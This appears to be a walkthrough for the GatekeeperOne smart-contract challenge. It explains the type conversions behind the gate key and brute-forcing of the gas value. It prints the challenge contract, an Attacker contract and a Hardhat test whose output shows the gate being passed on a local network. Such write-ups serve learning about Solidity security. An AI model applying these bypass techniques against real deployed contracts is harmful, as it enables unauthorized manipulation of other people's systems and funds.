There are 3 modifiers that we need evaluated true to pass this challenge: gateOne(), gateTwo() and gateThree():
gateThree()
This post helped me a lot to understand how conversions work in Solidity: https://www.tutorialspoint.com/solidity/solidity_conversions.htm
In my case, tx.origin = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
require(uint32(uint64(_gateKey)) == uint16(tx.origin), “GatekeeperOne: invalid gateThree part three”);
uint16(tx.origin) keeps only the 2 bytes from the right = 0x2266
uint32(uint64(_gateKey) will keep 4 bytes from the right so _gateKey can be 0x0000000000002266
require(uint32(uint64(_gateKey)) != uint64(_gateKey), “GatekeeperOne: invalid gateThree part two”);
uint64(0x0000000000002266) = 0x0000000000002266
uint32(uint64(0x0000000000002266) = 0x00002266
For them to not be equal, we need to make sure the first 4 bytes from left in 0x0000000000002266 are not all zeroes
So _gateKey = 0x1000000000002266
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), “GatekeeperOne: invalid gateThree part one”)
our _gateKey = 0x1000000000002266 would still pass this check
gateOne()
require(msg.sender != tx.origin);
We need to ensure the enter() is called from a contract rather from an EoA account. For that we are using the Attacker contract.
gateTwo()
This was the least fun to solve as I could not determine the exact gas usage. Eventually I had to use brute force to determine the correct value:
for (let i = 8191000; i < 9000000; i++) {
const num = await attacker.attack(i, "0x1000000000002266");
const stor2 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
console.log(i, stor2);
if(stor2 != 0x0000000000000000000000000000000000000000000000000000000000000000)
{
console.log(i);
break;
}
}
All the contracts and Hardhat test (solution) are provided below:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//import '@openzeppelin/contracts/utils/math/SafeMath.sol';
contract GatekeeperOne {
//using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft()%(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker
{
address victimContract;
constructor (address victim) payable
{
victimContract = victim;
}
function attack(uint gasAmt, bytes8 gateKey) public returns (bool)
{
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", gateKey);
victimContract.call{gas: gasAmt}(payload);
return true;
}
}
//Hardhat Test (solution.js):
const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");
describe("Hello.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {
// Deploy GatekeeperOne contract
const [owner] = await ethers.getSigners();
const gatekeeper1Contract = await ethers.getContractFactory("GatekeeperOne")
const gatekeeper1 = await gatekeeper1Contract.deploy();
await gatekeeper1.deployed();
// Deploy Attacker contract
const attackerContract = await ethers.getContractFactory("Attacker")
// GatekeeperOne's address is 0x5FbDB2315678afecb367f032d93F642f64180aa3
// Send 5 ether while deploying Attacker
const attacker = await attackerContract.deploy("0x5FbDB2315678afecb367f032d93F642f64180aa3", {value: ethers.utils.parseEther('5')});
await attacker.deployed();
// Deployer address
const deployerAddress = owner.address
console.log("deployerAddress = " + deployerAddress)
// Verify deployment
const gatekeeper1Address = gatekeeper1.address
console.log("gatekeeperAddress = " + gatekeeper1Address)
const attackerAddress = attacker.address
console.log("attackerAddress = " + attackerAddress)
const attackerBalance = await ethers.provider.getBalance(attackerAddress)
console.log("attackerBalance: ", attackerBalance)
// Read the value of GatekeeperOne.entrant state variable before attack
const stor1 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
console.log("Value of GatekeeperOne.entrant state variable before attack: ", stor1)
// Brute force to determine correct "gas" value
/*for (let i = 8191000; i < 9000000; i++) {
const num = await attacker.attack(i, "0x1000000000002266");
const stor2 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
console.log(i, stor2);
if(stor2 != 0x0000000000000000000000000000000000000000000000000000000000000000)
{
console.log(i);
break;
}
}*/
//Launch attack
// 8191251 is the amount of gas determined via brute force (see for() loop above)
const num = await attacker.attack(8191251, "0x1000000000002266");
// Read the value of GatekeeperOne.entrant state variable after attack
const stor2 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
console.log("Value of GatekeeperOne.entrant state variable after attack: ", stor2)
});
});
});
Output:
-------
Hello.sol
Test run
deployerAddress = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
gatekeeperAddress = 0x5FbDB2315678afecb367f032d93F642f64180aa3
attackerAddress = 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
attackerBalance: BigNumber { value: "5000000000000000000" }
Value of GatekeeperOne.entrant state variable before attack: 0x0000000000000000000000000000000000000000000000000000000000000000
Value of GatekeeperOne.entrant state variable after attack: 0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
✔ should run fine (867ms)